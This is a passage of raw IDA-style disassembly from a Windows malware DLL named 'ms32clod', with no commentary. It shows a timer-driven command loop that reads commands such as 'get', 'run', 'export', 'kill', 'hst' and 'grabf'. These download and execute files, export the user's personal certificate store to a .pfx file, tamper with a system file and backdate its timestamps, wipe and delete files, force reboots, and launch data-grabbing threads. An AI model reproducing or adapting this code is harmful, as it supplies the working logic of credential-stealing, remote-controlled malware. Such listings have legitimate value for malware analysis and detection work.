		mov	ecx, [ebp+var_10C]
		mov	edx, dword_1004B770[ecx*4]
		mov	[edx+104h], eax
		push	offset byte_10073990 ; lpString2
		mov	eax, [ebp+var_10C]
		mov	ecx, dword_1004B770[eax*4]
		add	ecx, 108h
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, [ebp+var_10C]
		mov	eax, dword_1004B770[edx*4]
		mov	ecx, [ebp+var_10C]
		mov	[eax+308h], ecx
		mov	edx, [ebp+var_10C]
		mov	eax, dword_1004B770[edx*4]
		mov	dword ptr [eax+30Ch], 0
		push	offset dword_10034264 ;	Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, off_10022078
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; SubStr
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_1000A2D4
		push	offset byte_10065ED8
		push	offset aS___all	; "%s__.all"
		mov	ecx, [ebp+var_10C]
		mov	edx, dword_1004B770[ecx*4]
		add	edx, 207h
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		jmp	short loc_1000A2FB
; ---------------------------------------------------------------------------


loc_1000A2D4:				; CODE XREF: sub_10009FE2+2C7j
		push	offset byte_10065ED8
		push	offset aS___log	; "%s__.log"
		mov	eax, [ebp+var_10C]
		mov	ecx, dword_1004B770[eax*4]
		add	ecx, 207h
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch


loc_1000A2FB:				; CODE XREF: sub_10009FE2+2F0j
		mov	edx, [ebp+var_10C]
		mov	eax, dword_1004B770[edx*4]
		push	eax		; LPVOID
		call	StartAddress
		mov	eax, 1


loc_1000A313:				; CODE XREF: sub_10009FE2+107j
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_10009FE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_1000A318(LPVOID)

sub_1000A318	proc near		; DATA XREF: sub_1000AF7F+17o

var_914		= dword	ptr -914h
var_910		= dword	ptr -910h
var_90C		= dword	ptr -90Ch
var_908		= dword	ptr -908h
var_904		= dword	ptr -904h
var_900		= dword	ptr -900h
var_8FC		= dword	ptr -8FCh
var_8F8		= dword	ptr -8F8h
var_8F4		= dword	ptr -8F4h
var_8F0		= dword	ptr -8F0h
var_8EC		= dword	ptr -8ECh
var_8E8		= byte ptr -8E8h
var_8E4		= byte ptr -8E4h
var_8E0		= byte ptr -8E0h
var_8DC		= byte ptr -8DCh
var_8D8		= dword	ptr -8D8h
var_8D4		= byte ptr -8D4h
var_8D3		= byte ptr -8D3h
var_4D4		= byte ptr -4D4h
hFile		= dword	ptr -4D0h
var_4CC		= byte ptr -4CCh
var_4CB		= byte ptr -4CBh
hKey		= dword	ptr -3CCh
var_3C8		= dword	ptr -3C8h
Filename	= byte ptr -3BCh
var_3BB		= byte ptr -3BBh
var_2BC		= byte ptr -2BCh
lpBuffer	= dword	ptr -2B8h
hObject		= dword	ptr -2B4h
NumberOfBytesWritten= dword ptr	-2B0h
Str		= byte ptr -2ACh
var_28C		= byte ptr -28Ch
var_28B		= byte ptr -28Bh
FileName	= byte ptr -18Ch
var_18B		= byte ptr -18Bh
String2		= byte ptr -8Ch
Buffer		= byte ptr -4Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_1000A318
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 908h
		push	edi
		mov	[ebp+var_4CC], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_4CB]
		rep stosd
		stosw
		mov	[ebp+var_28C], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_28B]
		rep stosd
		stosw
		lea	ecx, [ebp+var_2BC]
		call	??0_Container_base@std@@QAE@XZ_0 ; std::_Container_base::_Container_base(void)
		mov	[ebp+var_4], 0
		mov	[ebp+Filename],	0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_3BB]
		rep stosd
		stosw
		mov	[ebp+FileName],	0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_18B]
		rep stosd
		stosw
		mov	[ebp+lpBuffer],	0
		push	0FFh		; uSize
		lea	eax, [ebp+Filename]
		push	eax		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		push	offset asc_10023030 ; "\\"
		lea	ecx, [ebp+Filename]
		push	ecx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	offset dword_10034264 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_10022078
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		lea	ecx, [ebp+Filename]
		push	ecx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	1		; int
		lea	edx, [ebp+Filename]
		push	edx		; Str
		call	sub_10009FE2
		add	esp, 8
		push	0FFh		; nSize
		lea	eax, [ebp+Filename]
		push	eax		; lpFilename
		push	offset aMs32clod_6 ; "ms32clod"
		call	ds:GetModuleHandleA	; GetModuleHandleA
		push	eax		; hModule
		call	ds:GetModuleFileNameA	; GetModuleFileNameA
		push	5Ch		; Ch
		lea	ecx, [ebp+Filename]
		push	ecx		; Str
		call	ds:strrchr	; strrchr
		add	esp, 8
		mov	byte ptr [eax+1], 0
		push	offset dword_10034264 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_10022068
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; Source
		lea	ecx, [ebp+Filename]
		push	ecx		; Dest
		call	strcat	; strcat
		add	esp, 8
		lea	edx, [ebp+Filename]
		push	edx		; Filename
		call	sub_100189B8
		add	esp, 4
		test	eax, eax
		jz	loc_1000AF4C
		lea	eax, [ebp+var_3C8]
		push	eax		; int
		push	offset aCommands ; "commands"
		lea	ecx, [ebp+Filename]
		push	ecx		; Filename
		lea	edx, [ebp+var_8D8]
		push	edx		; int
		call	sub_1001A057
		add	esp, 10h
		mov	[ebp+var_8F0], eax
		mov	eax, [ebp+var_8F0]
		mov	[ebp+var_8F4], eax
		mov	byte ptr [ebp+var_4], 1
		mov	ecx, [ebp+var_8F4]
		push	ecx
		lea	ecx, [ebp+var_2BC]
		call	sub_1001A8A2
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_8D8]
		call	sub_1001A728
		cmp	[ebp+var_3C8], 0
		jnz	loc_1000AF3F


loc_1000A4EB:				; CODE XREF: sub_1000A318:loc_1000AF3Aj
		push	offset aCommand	; "command"
		lea	ecx, [ebp+var_2BC]
		call	sub_1001A8DB
		test	eax, eax
		jle	loc_1000AF3F
		push	offset byte_10073994 ; lpString2
		lea	edx, [ebp+Str]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	offset byte_10073998 ; lpString2
		lea	eax, [ebp+Buffer]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	offset byte_1007399C ; lpString2
		lea	ecx, [ebp+String2]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	0
		push	offset aCmd	; "cmd"
		push	0
		push	offset aCommand_0 ; "command"
		lea	edx, [ebp+var_8DC]
		push	edx
		lea	ecx, [ebp+var_2BC]
		call	sub_1001A97C
		mov	[ebp+var_8F8], eax
		mov	eax, [ebp+var_8F8]
		mov	[ebp+var_8FC], eax
		mov	byte ptr [ebp+var_4], 2
		mov	ecx, [ebp+var_8FC]
		call	sub_1001A9E3
		push	eax		; lpString2
		lea	ecx, [ebp+Str]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_8DC]
		call	sub_1001A728
		push	0
		push	offset aParam1	; "param1"
		push	0
		push	offset aCommand_1 ; "command"
		lea	edx, [ebp+var_8E0]
		push	edx
		lea	ecx, [ebp+var_2BC]
		call	sub_1001A97C
		mov	[ebp+var_900], eax
		mov	eax, [ebp+var_900]
		mov	[ebp+var_904], eax
		mov	byte ptr [ebp+var_4], 3
		mov	ecx, [ebp+var_904]
		call	sub_1001A9E3
		push	eax		; lpString2
		lea	ecx, [ebp+Buffer]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_8E0]
		call	sub_1001A728
		push	0
		push	offset aParam2	; "param2"
		push	0
		push	offset aCommand_2 ; "command"
		lea	edx, [ebp+var_8E4]
		push	edx
		lea	ecx, [ebp+var_2BC]
		call	sub_1001A97C
		mov	[ebp+var_908], eax
		mov	eax, [ebp+var_908]
		mov	[ebp+var_90C], eax
		mov	byte ptr [ebp+var_4], 4
		mov	ecx, [ebp+var_90C]
		call	sub_1001A9E3
		push	eax		; lpString2
		lea	ecx, [ebp+String2]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_8E4]
		call	sub_1001A728
		push	0
		push	0
		push	offset aCommand_3 ; "command"
		lea	edx, [ebp+var_8E8]
		push	edx
		lea	ecx, [ebp+var_2BC]
		call	sub_1001A97C
		mov	[ebp+var_910], eax
		mov	eax, [ebp+var_910]
		mov	[ebp+var_914], eax
		mov	byte ptr [ebp+var_4], 5
		mov	ecx, [ebp+var_914]
		call	sub_1001A79B
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_8E8]
		call	sub_1001A728
		push	1		; Memory
		push	0		; int
		lea	ecx, [ebp+Filename]
		push	ecx		; Str
		lea	ecx, [ebp+var_2BC]
		call	sub_10018AC6
		push	offset aHst	; "hst"
		lea	edx, [ebp+Str]
		push	edx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	loc_1000A802
		push	0FFh		; uSize
		lea	eax, [ebp+FileName]
		push	eax		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		push	offset dword_10034264 ;	Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, off_100220C8
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		lea	eax, [ebp+FileName]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	ecx, [ebp+FileName]
		push	ecx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	loc_1000A802
		push	2		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		push	0		; lDistanceToMove
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:SetFilePointer	; SetFilePointer
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	2		; nNumberOfBytesToWrite
		push	offset asc_1002308C ; "\r\n"
		mov	ecx, [ebp+hObject]
		push	ecx		; hFile
		call	ds:WriteFile	; WriteFile
		push	0		; lpOverlapped
		lea	edx, [ebp+NumberOfBytesWritten]
		push	edx		; lpNumberOfBytesWritten
		lea	eax, [ebp+Buffer]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		push	eax		; nNumberOfBytesToWrite
		lea	ecx, [ebp+Buffer]
		push	ecx		; lpBuffer
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:WriteFile	; WriteFile
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	7		; nNumberOfBytesToWrite
		push	offset asc_10023090 ; "	      "
		mov	ecx, [ebp+hObject]
		push	ecx		; hFile
		call	ds:WriteFile	; WriteFile
		push	0		; lpOverlapped
		lea	edx, [ebp+NumberOfBytesWritten]
		push	edx		; lpNumberOfBytesWritten
		lea	eax, [ebp+String2]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		push	eax		; nNumberOfBytesToWrite
		lea	ecx, [ebp+String2]
		push	ecx		; lpBuffer
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:WriteFile	; WriteFile
		push	offset CreationTime ; lpLastWriteTime
		push	offset CreationTime ; lpLastAccessTime
		push	offset CreationTime ; lpCreationTime
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:SetFileTime	; SetFileTime
		mov	ecx, [ebp+hObject]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1000A802:				; CODE XREF: sub_1000A318+3B4j
					; sub_1000A318+41Ej
		push	offset aGet	; "get"
		lea	edx, [ebp+Str]
		push	edx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jz	short loc_1000A848
		push	offset aRun	; "run"
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	loc_1000A8FF


loc_1000A848:				; CODE XREF: sub_1000A318+508j
		push	0FFh		; nSize
		lea	ecx, [ebp+FileName]
		push	ecx		; lpFilename
		push	offset aMs32clod_7 ; "ms32clod"
		call	ds:GetModuleHandleA	; GetModuleHandleA
		push	eax		; hModule
		call	ds:GetModuleFileNameA	; GetModuleFileNameA
		push	5Ch		; Ch
		lea	edx, [ebp+FileName]
		push	edx		; Str
		call	ds:strrchr	; strrchr
		add	esp, 8
		mov	byte ptr [eax+1], 0
		lea	eax, [ebp+String2]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jz	short loc_1000A8A3
		lea	ecx, [ebp+String2]
		push	ecx		; lpString2
		lea	edx, [ebp+FileName]
		push	edx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		jmp	short loc_1000A8CB
; ---------------------------------------------------------------------------


loc_1000A8A3:				; CODE XREF: sub_1000A318+573j
		push	offset dword_10034264 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_1002205C
		push	ecx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		lea	edx, [ebp+FileName]
		push	edx		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_1000A8CB:				; CODE XREF: sub_1000A318+589j
		push	5		; int
		push	0		; Source
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		mov	ecx, [ebp+lpBuffer]
		push	ecx		; lpBuffer
		lea	edx, [ebp+Buffer]
		push	edx		; lpString2
		call	sub_10005E66
		add	esp, 14h
		mov	[ebp+lpBuffer],	eax
		mov	eax, [ebp+lpBuffer]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4


loc_1000A8FF:				; CODE XREF: sub_1000A318+52Aj
		push	offset aRun_0	; "run"
		lea	ecx, [ebp+Str]
		push	ecx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	short loc_1000A973
		push	offset aShell32	; "shell32"
		call	ds:LoadLibraryA	; LoadLibraryA
		mov	hModule, eax
		push	offset dword_10034264 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_10022064
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpProcName
		mov	ecx, hModule
		push	ecx		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		mov	dword_1006A8F8,	eax
		push	1
		push	0
		push	0
		lea	edx, [ebp+FileName]
		push	edx
		push	0
		push	0
		call	dword_1006A8F8


loc_1000A973:				; CODE XREF: sub_1000A318+605j
		push	offset aExport	; "export"
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	loc_1000AA7C
		push	0FFh		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	dword_10053DD8,	eax
		push	offset a_pfx	; ".pfx"
		mov	ecx, dword_10053DD8
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	offset dword_100739A0
		push	offset dword_100739A4
		push	offset aMy	; "MY"
		call	sub_1000E66B
		add	esp, 0Ch
		mov	edx, dword_10034234
		mov	eax, lpBuffer[edx*4]
		push	eax		; lpBuffer
		push	0FFh		; nBufferLength
		call	ds:GetTempPathA	; GetTempPathA
		push	5Ch		; Ch
		mov	ecx, dword_10034234
		mov	edx, lpBuffer[ecx*4]
		push	edx		; Str
		call	ds:strrchr	; strrchr
		add	esp, 8
		mov	byte ptr [eax],	0
		push	offset dword_10034264 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_10022050
		push	ecx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax
		push	offset byte_1006A924
		push	offset aSS_11	; "%s%s"
		lea	edx, [ebp+var_28C]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		push	0		; dwMilliseconds
		lea	eax, [ebp+var_28C]
		push	eax		; lpString2
		push	1		; int
		push	offset dword_10053DD8 ;	int
		mov	ecx, dword_10034234
		mov	edx, lpBuffer[ecx*4]
		push	edx		; Str
		call	sub_10007B34
		add	esp, 14h
		mov	eax, dword_10053DD8
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	dword_10053DD8,	0


loc_1000AA7C:				; CODE XREF: sub_1000A318+679j
		push	offset aReset	; "reset"
		lea	ecx, [ebp+Str]
		push	ecx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	loc_1000AB67
		lea	edx, [ebp+hKey]
		push	edx		; phkResult
		push	0F003Fh		; samDesired
		push	0		; ulOptions
		push	offset dword_10034264 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_10022044
		push	ecx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpSubKey
		push	80000002h	; hKey
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_1000AB67
		push	offset ValueName ; "f"
		mov	edx, [ebp+hKey]
		push	edx		; hKey
		call	ds:RegDeleteValueA	; RegDeleteValueA
		push	offset aU	; "u"
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	ds:RegDeleteValueA	; RegDeleteValueA
		push	offset aG	; "g"
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegDeleteValueA	; RegDeleteValueA
		push	offset aS_1	; "s"
		mov	edx, [ebp+hKey]
		push	edx		; hKey
		call	ds:RegDeleteValueA	; RegDeleteValueA
		push	offset aIl	; "il"
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	ds:RegDeleteValueA	; RegDeleteValueA
		push	offset aIln	; "iln"
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegDeleteValueA	; RegDeleteValueA
		push	offset aGl	; "gl"
		mov	edx, [ebp+hKey]
		push	edx		; hKey
		call	ds:RegDeleteValueA	; RegDeleteValueA
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_1000AB67:				; CODE XREF: sub_1000A318+782j
					; sub_1000A318+7BEj
		push	offset aKill	; "kill"
		lea	ecx, [ebp+Str]
		push	ecx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	loc_1000AD03
		mov	[ebp+var_8D4], 0
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D3]
		rep stosd
		stosw
		stosb
		push	80h		; dwFileAttributes
		push	offset dword_10034264 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_10022074
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpFileName
		call	ds:SetFileAttributesA	; SetFileAttributesA
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	7		; dwShareMode
		push	0C0000000h	; dwDesiredAccess
		push	offset dword_10034264 ;	Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, off_10022074
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hFile], eax
		push	0		; lpOverlapped
		lea	eax, [ebp+var_4D4]
		push	eax		; lpNumberOfBytesWritten
		push	400h		; nNumberOfBytesToWrite
		lea	ecx, [ebp+var_8D4]
		push	ecx		; lpBuffer
		mov	edx, [ebp+hFile]
		push	edx		; hFile
		call	ds:WriteFile	; WriteFile
		mov	eax, [ebp+hFile]
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle
		push	offset dword_10034264 ;	Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, off_10022074
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpFileName
		call	ds:DeleteFileA	; DeleteFileA
		push	80h		; dwFileAttributes
		push	offset dword_10034264 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_10022070
		push	ecx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpFileName
		call	ds:SetFileAttributesA	; SetFileAttributesA
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	7		; dwShareMode
		push	0C0000000h	; dwDesiredAccess
		push	offset dword_10034264 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_10022070
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hFile], eax
		push	0		; lpOverlapped
		lea	ecx, [ebp+var_4D4]
		push	ecx		; lpNumberOfBytesWritten
		push	400h		; nNumberOfBytesToWrite
		lea	edx, [ebp+var_8D4]
		push	edx		; lpBuffer
		mov	eax, [ebp+hFile]
		push	eax		; hFile
		call	ds:WriteFile	; WriteFile
		mov	ecx, [ebp+hFile]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle
		push	offset dword_10034264 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_10022070
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpFileName
		call	ds:DeleteFileA	; DeleteFileA
		call	sub_1000579B


loc_1000AD03:				; CODE XREF: sub_1000A318+86Dj
		push	offset aReboot	; "reboot"
		lea	ecx, [ebp+Str]
		push	ecx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	short loc_1000AD28
		call	sub_1000579B


loc_1000AD28:				; CODE XREF: sub_1000A318+A09j
		push	offset aSelfk	; "selfk"
		lea	edx, [ebp+Str]
		push	edx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_1000AD6D
		push	1		; int
		mov	eax, off_10022040
		push	eax		; Source
		mov	ecx, lpValueName
		push	ecx		; lpValueName
		mov	edx, off_10022038
		push	edx		; Str
		push	80000002h	; hKey
		call	sub_10002C3D
		add	esp, 14h


loc_1000AD6D:				; CODE XREF: sub_1000A318+A30j
		push	offset aGrabf	; "grabf"
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	loc_1000AE3D
		push	4008h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	lpParameter, eax
		push	0FFh		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	dword_10057ED8,	eax
		lea	ecx, [ebp+Buffer]
		push	ecx		; lpString2
		mov	edx, dword_10057ED8
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	1000h		; Size
		push	offset dword_10057ED8 ;	Src
		mov	eax, lpParameter
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	ecx, lpParameter
		mov	dword ptr [ecx+4004h], 0
		push	0FFh		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, lpParameter
		mov	[edx+4000h], eax
		push	offset byte_100739A8 ; Source
		mov	eax, lpParameter
		mov	ecx, [eax+4000h]
		push	ecx		; Dest
		call	strcpy	; strcpy
		add	esp, 8
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	edx, lpParameter
		push	edx		; lpParameter
		push	offset sub_1000B027 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread


loc_1000AE3D:				; CODE XREF: sub_1000A318+A73j
		push	offset aHrdlst	; "hrdlst"
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	loc_1000AF3A
		push	4008h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	lpParameter, eax
		push	0FFh		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	dword_10057ED8,	eax
		push	0FFh		; Size
		push	0		; Val
		mov	ecx, dword_10057ED8
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	1000h		; Size
		push	offset dword_10057ED8 ;	Src
		mov	edx, lpParameter
		push	edx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	eax, lpParameter
		mov	dword ptr [eax+4004h], 3
		push	0FFh		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, lpParameter
		mov	[ecx+4000h], eax
		push	0FFh		; Size
		push	0		; Val
		mov	edx, lpParameter
		mov	eax, [edx+4000h]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		mov	ecx, lpParameter
		mov	edx, [ecx+4000h]
		push	edx		; Dest
		push	offset asc_10023124 ; "	"
		push	offset a20	; "%20"
		lea	eax, [ebp+Buffer]
		push	eax		; lpString2
		call	sub_100012D1
		add	esp, 14h
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	ecx, lpParameter
		push	ecx		; lpParameter
		push	offset sub_1000B027 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread


loc_1000AF3A:				; CODE XREF: sub_1000A318+B43j
		jmp	loc_1000A4EB
; ---------------------------------------------------------------------------


loc_1000AF3F:				; CODE XREF: sub_1000A318+1CDj
					; sub_1000A318+1E5j
		lea	edx, [ebp+Filename]
		push	edx		; lpFileName
		call	ds:DeleteFileA	; DeleteFileA


loc_1000AF4C:				; CODE XREF: sub_1000A318+167j
		mov	[ebp+var_8EC], 1
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_2BC]
		call	sub_1001A728
		mov	eax, [ebp+var_8EC]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000A318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __stdcall sub_1000AF7F(HWND, UINT, UINT_PTR, DWORD)

sub_1000AF7F	proc near		; DATA XREF: sub_1000AF7F+26o
					; sub_1000C9DC+18Co
		push	ebp
		mov	ebp, esp
		mov	eax, dword_100241D4
		push	eax		; uIDEvent
		push	0		; hWnd
		call	ds:KillTimer	; KillTimer
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		push	0		; lpParameter
		push	offset sub_1000A318 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		push	offset sub_1000AF7F ; lpTimerFunc
		push	57E40h		; uElapse
		push	0		; nIDEvent
		push	0		; hWnd
		call	ds:SetTimer	; SetTimer
		mov	dword_100241D4,	eax
		pop	ebp
		retn	10h
sub_1000AF7F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	sub_10001DE0
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		mov	[ebp-4], eax


loc_1000AFD8:				; CODE XREF: .text:1000AFEBj
		mov	ecx, [ebp+8]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+8]
		add	eax, 1
		mov	[ebp+8], eax
		test	edx, edx
		jz	short loc_1000AFED
		jmp	short loc_1000AFD8
; ---------------------------------------------------------------------------


loc_1000AFED:				; CODE XREF: .text:1000AFE9j
					; .text:1000B00Cj
		mov	ecx, [ebp+8]
		sub	ecx, 1
		mov	[ebp+8], ecx
		mov	edx, [ebp+8]
		cmp	edx, [ebp-4]
		jz	short loc_1000B00E
		mov	eax, [ebp+8]
		movsx	ecx, byte ptr [eax]
		movsx	edx, byte ptr [ebp+0Ch]
		cmp	ecx, edx
		jz	short loc_1000B00E
		jmp	short loc_1000AFED
; ---------------------------------------------------------------------------


